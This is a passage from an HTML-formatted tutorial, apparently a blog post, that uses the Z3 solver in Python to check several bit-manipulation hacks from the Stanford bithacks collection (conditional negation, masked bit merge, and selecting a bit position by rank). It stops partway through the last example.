&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Flag indicating we should not negate v.&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// Input value to negate if fDontNegate is false.&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// result = fDontNegate ? v : -v;&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Its translation to Z3 is &lt;em&gt;almost&lt;/em&gt; immediate:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;fDontNegate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fDontNegate&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The C code uses a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;bool&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; variable but in Z3 we use a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of the same width than the input.&lt;/p&gt;
&lt;p&gt;Z3 does not know how to &lt;em&gt;upcast&lt;/em&gt; a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;bool&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and mixing variables of &lt;em&gt;different sort&lt;/em&gt; leads to error.&lt;/p&gt;
&lt;p&gt;Instead we just see the boolean as an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The C99 and C++11 specifications say that a boolean can be seen as a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) or as a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fDontNegate&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# force a boolean value&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we assume the contradiction.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fDontNegate&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And nope, no counterexample was found: the bithack is correct.&lt;/p&gt;
&lt;h2 id="merge-bits-from-two-values-according-to-a-mask"&gt;Merge bits from two values according to a mask&lt;/h2&gt;
&lt;p&gt;This &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#MaskedMerge"&gt;bithack&lt;/a&gt; was suggested by Ron Jeffery.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// value to merge in non-masked bits&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// value to merge in masked bits&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 1 where bits from b should be selected; 0 where from a.&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// result of (a &amp;amp; ~mask) | (b &amp;amp; mask) goes here&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The verification steps are the same, nothing new around here.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bools&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a b mask&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="select-the-bit-position-from-the-most-significant-bit-with-the-given-count-rank"&gt;Select the bit position (from the most-significant bit) with the given count (rank)&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;This is a long one.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#SelectPosFromMSBRank"&gt;bithack&lt;/a&gt; was suggested by Juha Järvi and it is much more complex than the others bithacks.&lt;/p&gt;
&lt;p&gt;Given an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; number &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and a rank &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (a number between 1 and 64), the bithack returns the &lt;em&gt;position&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of the bit that it is the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;th &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bit counting from the left.&lt;/p&gt;
&lt;p&gt;The following 64-bit code selects the position of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;th &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bit when counting from the left.&lt;/p&gt;
&lt;p&gt;The C code is quite large so we are going to go to the Z3 code directly, step by step.&lt;/p&gt;
&lt;p&gt;The bithack uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as intermediate and temporal values. These are not &lt;em&gt;variables&lt;/em&gt; of the model so we don’t need to create a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for them.&lt;/p&gt;
&lt;p&gt;On the other hand, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are. In the C code &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 32 bits integer and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 64 bits but in the following setup both will have the same width of 64 bits.&lt;/p&gt;
&lt;p&gt;This is required because Z3 does not know how to &lt;em&gt;upper cast&lt;/em&gt; or &lt;em&gt;promote&lt;/em&gt; a 32 bits integer to 64 bits.&lt;/p&gt;
&lt;p&gt;It is easier to use 64 bits and &lt;em&gt;constraint&lt;/em&gt; its range.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;v r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# rank valid range [1-64]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UL3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x5555555555555555&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UL5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x3333333333333333&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UL11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xf0f0f0f0f0f0f0f&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;UL101&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xff00ff00ff00ff&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is the first setup. Notice how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and others are just &lt;em&gt;expressions&lt;/em&gt; and not Z3’s variables.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL11&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL101&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In C &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;em&gt;variable&lt;/em&gt;: a piece of memory which value can change.&lt;/p&gt;
